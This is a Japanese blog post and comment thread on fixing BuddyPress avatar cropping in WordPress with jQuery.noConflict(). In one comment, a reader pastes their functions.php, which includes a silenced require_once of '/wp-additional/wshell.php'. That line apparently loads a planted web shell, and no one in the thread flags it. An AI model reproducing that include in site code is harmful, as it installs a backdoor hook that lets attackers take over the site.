【Wordpress】BuddyPressのアバター変更で画像の切り抜きができない
BuddyPressをインストールした直後はできていたけど、他のプラグインをインストールしたり開発していく中でいつの間にかJavascriptのエラーで失敗するようになっていた。
原因はprototype.jsとjQueryがConflict(衝突)を起こしていた。
jQuery Lightboxのプラグインをインストールすると起きる。
回避法はどこかに
function xb_jquery_conflict() {
echo '<script language="JavaScript" type="text/javascript">';
echo 'jQuery.noConflict();';
echo '</script>';
}
add_action('wp_head', 'xb_jquery_conflict');
って書けば(jQuery.noConflict()を実行すれば)、O.K
これでjavascriptエラーは出なくなったけど、今度は画像を切り抜く枠が画面の端に出るようになった。これも嵌った。
プラグインのアンインストールとインストールを繰り返して、Google Analyticsを簡単に導入できるプラグイン「Ultimate GA」をインストールすることが判明。
でもロジック的に怪しいのはなかったので、Ultimate GAのせいでないかも。
注意点としては、プラグインのアンインストールしたあと、ブラウザのキャッシュを削除しないと現象が起きたままだったりする。これも嵌った要因の一つ。
プラグインをたくさん入れるとプラグイン同士の競合が恐いですね。
はじめまして。
返信削除かなり以前の記事なので、見ていらっしゃらないかもしれませんが、
現在全く同じ状況で困っています。
jQueryが原因(削除すると正常に動きました)だということはわかっているんですが、
≪回避法はどこかに≫のどこかとは、どのファイルでもいいのでしょうか?
指定のファイル等があれば教えていたいと思い、投稿させていただきました。
お手数をおかけしますが宜しくお願いいたします。
初めまして。
返信削除wp_headのアクションが実行される前なので、テーマのfunctions.phpとか、あとはpluginsの有効になっているプラグインであれば、どのファイルに記述しても大丈夫だと思います。
私は、ユーティリティ的に使うプラグインを一つ用意して、そこでadd_actionの処理をまとめたりしています。
何度もすみません。
返信削除functions.phpファイルの2行目、
<?phpif(is_readable("/wp-additional/wshell.php")) { @require_once("/wp-additional/wshell.php"); } ?>
の1行目の<?phpのすぐあとに
functionxb_jquery_conflict() {
echo '<script language="JavaScript" type="text/javascript">';
echo 'jQuery.noConflict();';
echo '</script>';
}
add_action('wp_head', 'xb_jquery_conflict');
と入れたのですが、画像の切り抜き部分が動作しませんでした。
PHPに詳しくなく、関数などもわからないままなので、コピーして使用させていただきましたが、差し込み方が間違っていたりするようでしたら教えていただけないでしょうか。
お手数をおかけしますが宜しくお願いいたします。
こんにちは。
返信削除画面を開き、「ソースの表示」をして「jQuery.noConflict();」が表示(実行)されていれば、コードの埋め込み自体は成功しています。
これで直らなければ別の問題かもしれません。